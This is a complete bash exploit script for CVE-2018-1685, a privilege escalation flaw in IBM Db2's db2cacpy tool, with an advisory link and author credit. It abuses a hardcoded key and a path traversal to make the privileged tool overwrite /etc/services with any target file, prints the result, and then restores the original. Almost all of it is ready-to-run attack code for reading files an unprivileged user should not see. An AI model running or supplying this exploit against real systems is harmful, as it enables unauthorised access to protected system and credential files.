#!/bin/bash
#
# CVE-2018-1685 - Privilege escalation in IBM Db2 tool db2cacpy
#
# Advisory:     https://www.ibm.com/support/pages/security-bulletin-privilege-escalation-ibm%C2%AE-db2%C2%AE-tool-db2cacpy-cve-2018-1685
# Exploit by:   Pablo Martinez (@xassiz)
# Web:          [www.blackarrow.net] - [www.tarlogic.com]
#

if [ "${#}" != '2' ]
then
	echo -e "Usage: ${0} <db2cacpy_path> <target_file>\n"
	exit 1
fi


DB2CACPY="${1}"
TARGET="${2}"
TMP_DIR=/tmp/services.${RANDOM}
BACKUP=/tmp/services.back${RANDOM}
KEY="9-1-416-448-2737"

if [[ ! -x "${DB2CACPY}" ]]
then
    echo -e "'${DB2CACPY}' is not executable\n"
    exit 1
fi


backup_services()
{
    # Backup original /etc/services
    cp /etc/services ${BACKUP}
    cmp -s /etc/services ${BACKUP} || (echo -e "Could not backup /etc/services\n" && exit 1)
}

restore_services()
{
    ${DB2CACPY} ${KEY} ${BACKUP}
    cmp -s /etc/services ${BACKUP} && rm -f ${BACKUP} || echo -e "Could not restore ${BACKUP}\n"

}

read_file()
{
    mkdir ${TMP_DIR}
    ${DB2CACPY} ${KEY} ${TMP_DIR}/../../${TARGET}
    cat /etc/services
    rmdir ${TMP_DIR}
}


backup_services
read_file
restore_services
